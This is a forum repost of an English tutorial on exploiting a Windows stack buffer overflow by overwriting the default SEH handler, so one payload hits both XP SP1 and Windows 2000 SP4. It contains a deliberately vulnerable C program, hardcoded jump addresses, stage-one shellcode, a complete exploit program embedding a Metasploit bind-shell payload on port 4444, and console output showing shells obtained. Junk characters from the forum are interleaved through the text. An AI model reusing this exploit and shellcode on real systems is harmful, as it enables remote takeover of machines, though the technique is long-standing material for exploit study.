QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 2500|回复: 0
打印 上一主题 下一主题

Exploiting Default Exception Handler to Increase Exploit Sta

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-19 10:39 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
The goal of this method is to create a stable exploit that will successfully exploit a buffer overflow vulnerability on multiple operating systems. Every windows application has a default exception handler that is located at the end of the stack. When exploiting a normal buffer overflow vulnerability we overwrite the return address but in this case we will continue overwriting the stack and overwrite the default exception handler as well.
7 H7 v! j" F2 G" u, q( g& y2 ~
$ B  v+ `+ y2 _1 M4 n8 a7 W7 _9 a[Buf] <- Shellcode; Q4 Q0 N0 h7 `9 _. Q# T3 T
[Return Address] <- jmp register (for Windows XP sp1)9 _; p4 ?3 p% ]: X, J0 M
[Various Stack Data] <- Junk( e: `" d* w' h: K
[Pointer To Next SEH] <- "\xEB\x06\xff\xff" jump 6 bytes forward
/ X' ^  e. C* w' q! Y! ~+ @[SE Handler] <- jmp register (for Win2k sp4)
; U- K: F$ E' W5 Z[Stage1 Shellcode] <- stage1 shellcode for win2k0 U- e* b" G! t8 L7 \

) G* }9 d) o; S; YIf the first return address (Windows XP SP1) is wrong an exception will occur and the default exception handler will be called (Windows 2000 SP4). Thus allowing us to create a stable exploit with two return addresses6 r- ^; c6 E# }& l% g( [4 _4 P

0 D% y& \3 v8 X! fNecessary Tools:
7 W8 [0 k  k$ S3 c- OllyDBG( ^, `( |9 Q$ u: C$ R
- C/C++ Compiler
/ N! C2 ?% E, B$ A/ x: e. K3 |- nasm
2 n0 k. }* \, z- Sac
+ @; ]8 i4 l, i* S
1 F; f/ y! i- N! H5 |1 O5 xVulnerable Code:
0 N9 t" z: T9 c& H6 s//lamebuf.c7 Y# E% A+ y2 ^
#include<stdio.h>' T) j( I' b- A# l4 F
#include<string.h>  t5 M* t  G% X7 {0 c
#include<windows.h>/ q3 |: B, I* W0 W6 j4 e, a3 n
int main(int argc,char *argv[]){
* n+ u* ~* u# N1 i5 g) u$ ?! ]5 f- l
6 A8 g& n6 _4 u. N8 [' wchar buf[512];/ r9 ]$ q& @; q$ j2 A
char buf1[1024]; // <- simulate a stack
) |+ D8 x# S! G& {//DebugBreak();
$ @3 T( [* w1 T% B8 C2 _if (argc != 2){ return -1; }
+ t1 J4 O" `$ P+ p* n6 [/ V% d
. E9 I5 Z) ~' ]4 P2 x; r! T+ ?strcpy(buf,argv[1]);7 Z! x. }4 c) p" T3 [
return 0x0;
+ X& [+ o- ~; h! `}; \2 U* R8 ?2 z! N/ B2 H  h" W

9 w6 T, T6 V' t- |# a' ~0 Y8 M( dGetting Started:
; V6 m! j; a8 f! mBefore writing the exploit, lets see what happens when we overflow this application with 1600 bytes. The application crashed in the following state of registers:
8 W7 W$ k$ ^5 R9 y+ S
7 {, m3 f+ B$ _2 x2 F* m  QEAX 000000008 V# r& N* ~) V+ b% ]5 _% v- {# I3 F8 x
ECX 00321404# i8 p. d7 t* H- k; b: I
EDX 00414141
& c8 \" W# |+ w" tEBX 7FFDF000
" G1 {8 O  g6 `! j. S7 x# ?ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"3 q3 G  G. e  c4 U8 r% V
EBP 41414141$ y1 {2 |3 N! p& Z
ESI 77D4595F' i5 r  c: K$ q( N* }* q
EDI 77F59037 ntdll.77F59037" S- n# D9 r" i
EIP 41414141
( q0 O$ Q7 R. @: M6 @' v! c9 h  d4 M
Lets take a look at the stack and see what happened to the default exception handler:
, Y5 o& U7 Q* {  I7 G0x0012FFB0 41414141 Pointer to next SEH Record8 M+ B3 |! v/ f6 a
0x0012FFB4 41414141 SE Handler
$ H$ ~& ^* S1 O8 B6 z
+ l+ `2 Z$ Q; \) T( P9 {4 KWe successfully overwrote the return address and the default exception handler.
6 n3 P- }" c% M( X0 O9 m
1 u9 O# L2 q0 N3 B" p: d! J: HPrimary Return Address (Windows XP SP1 EN):7 G, U$ n- s- O  Y' U" i
The first return address will be called as in a normal stack overflow. We can see that esp points to user-input, we will use that as our first stage shellcode. The return address will be 0x77F8AC16 (jmp esp on Windows XP SP1 En), and our first stage shellcode will be:( }0 J* k, L6 S4 O, t( k, Y
"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"( C( J! u( o3 e8 ^0 M

& W+ r9 {/ j* a0 j* Y. \* H0 u" u; g" `Secondary Return Address (Windows 2000 SP4 EN):# N% e& x. q, g  Z2 J5 f
The secondary return address will be called as in a normal SEH return. The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En), and our first stage shellcode will be:
* `, ~5 \: Y/ r1 Z6 L"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"
6 }5 Q) t9 q! w
3 O& M& A& ?9 i1 TProof Of Concept:
/ {3 E1 ?, Y/ ]3 U' K! z# P// exploit.c
  L7 I" b2 X3 _// Tal zeltzer - [Double Return] //1 @; ]- H8 g+ S2 G7 b8 q% A

/ G" y2 U3 N" l#include<stdio.h>
6 K. k4 R/ K8 ?2 G! T#include<string.h>
3 I7 a/ T2 U! _6 U0 [) c1 l#include<windows.h>( B5 k6 z+ D: ~& O

4 [" P( B) t( h0 @# r#define RET_XP 0x77F8AC16 // WinXP Sp1 English - jmp esp; ]" p; Z, `3 U/ x" v9 B
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx
6 t8 g# f/ u6 k. v+ Z- P  S
) B! Z5 x. s4 p/ l// Stage1 For WinXP Sp1 English" j: y5 G! W) [: [! g
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";
. k9 N2 r' ?% @* d5 A1 H4 N# R+ K- D- O6 s! \
// Stage1 For Win2k Sp4 English
4 h2 k! v6 o) k, Q% ]unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";( l+ Y1 o$ R, ]+ X1 x) j; o
) e! m# Y3 w/ M# J1 N) L3 T
// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] _blank>http://metasploit.com
8 ^8 C' j; x& t- B3 h% n% D  {$ Sunsigned char shellcode[] =
6 h/ k" u, l* c" G1 ~9 `2 V"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"0 v1 _7 [/ s& W$ F' F) \# j9 v
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
2 {/ R* i5 l: W, j0 h! L  v3 ["\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
; t3 r3 f8 [# J5 k0 x"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"  K! S  I2 `( U) Q5 T
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
8 _: O, v0 W9 b' @. e; f"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
9 i: l" @5 i3 S"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
: l! y6 [7 I6 |; q"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
. q. j8 q& q  F2 \' n" U"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
' h, f' J. \! i: Z6 e: a"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"; L; f" {0 l3 i# T# k
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
% N9 r. I. Z6 K7 _( ]6 _"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"3 Y* i! t; B9 b! t0 t3 z
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6": u* d) K/ S( R: ^) t' X
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"3 R0 x, D+ {' i' v2 @
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
0 \  f; H& H; X' t) b( n! I"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"0 f. {- c, C6 O
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
8 R4 p; g. w/ K"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"  f" \+ O* {4 e7 Q" @% ?8 ~1 B0 h3 G
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"5 t  p; _, }  Y- y- |0 u9 O6 y; C
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"+ }4 E0 h6 G! ^" q  W
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"# c' P9 i! h) O! P  W+ F2 K
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"$ h4 K9 L# j$ s8 a7 g
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"7 W" K" v8 I# M
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"0 N8 ^* i8 y/ x: }' v  u
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";; h: c1 M8 V0 K% v
2 Z  s4 u3 e* v: v3 R/ a! o+ I

/ `5 s' _0 V; c2 p3 w# p$ z7 `int main(int argc,char *argv[]){
6 ~  z5 M/ o7 `9 v8 I6 D& L9 c+ _# T, a
char *bufExe[3];
2 i: [( C! o7 s* w# x( lchar buf[2048];
& W4 U. @& X4 b/ _- U& y- F, VbufExe[0] = "lamebuf.exe";
$ T1 B: U# }3 w% v2 mbufExe[2] = NULL;# `% K) |( ^* e+ j* \( [
. ?2 B$ y! P8 H6 R8 @# s. n
memset(buf,0x0,sizeof(buf));
9 @. V( j& M0 }) ymemset(buf,0x90,1652);- j, `9 M6 u* L9 O( K! O
memcpy(&buf[24],shellcode,sizeof(shellcode)-1);
0 J, r* k3 A. H7 J9 B8 m/ W% v: z/ A3 y
memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
, y* P0 C$ p' Gmemcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode  a! W& E/ H! u
0 i3 \$ S0 V; o2 X. o
*(unsigned long *)&buf[1540] = RET_XP; // First RET (jmp esp) winXP sp1 en& C3 R$ C: u6 y+ \7 u6 P6 E4 O
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code
# s# b: G- P, x! J$ l# e*(unsigned long *)&buf[1588] = RET_WIN2K; // Second RET (jmp ebx) win2k sp4 en5 o; Y' {* ]( U9 Y4 L
9 \5 }' @  G& \6 r  S
  b# r9 R$ p9 r5 z3 T
bufExe[1] = buf;& V$ s/ K. H0 o3 Y
//Execute the vulnerable application' v* b. ^7 J: g/ c0 a) z9 l
execve(bufExe[0],bufExe,NULL);
4 C1 N3 @0 r( ?$ u3 v7 j9 F
' C1 a! ]' C! Z( y* L* P! breturn 0x0;
+ C& H4 ~# i1 }- H! ~1 ~" a}0 V2 K' n6 c8 W$ l1 Y
5 A, c' P1 n% B0 \: n0 a3 w
Exploit under Windows XP SP1:
# z! R% G' ~9 z! V* l* lC:\>exploit# u  {: T; O! D; x: Y. A
C:\>6 W' H7 Y  M7 }
C:\>telnet 127.0.0.1 4444
* P5 w, S8 j- k3 Z; p$ {7 L$ x: a! U- r9 ~
Microsoft Windows XP [Version 5.1.2600]3 I' Y) y* v% F- R# D5 A! m* p! l
(C) Copyright 1985-2001 Microsoft Corp.
& S4 A6 `$ c2 F: g9 l& u' Z  j3 a# f) v4 X+ a- x9 }
C:\>/ B$ w8 U7 ]5 T5 B* \- d/ [5 c

; `8 H0 c" q+ x* _2 S  NExploit under Windows 2000 SP4:
0 `- R8 J- ?' }4 G/ AC:\>exploit6 ~4 i; W# B7 T
C:\>4 g5 Z0 _9 r6 r
C:\>telnet 127.0.0.1 4444. q/ f  `# i  x* J2 y9 h# x
, [: @1 J1 w5 N, K8 m# A
Microsoft Windows 2000 [Version 5.00.2195]
5 ?# w: |+ M3 M$ d- E1 d* o(C) Copyright 1985-2000 Microsoft Corp.
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

fastpost qq
收缩
  • 电话咨询

  • 04714969085

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-12-4 04:16 , Processed in 0.265635 second(s), 52 queries .

回顶部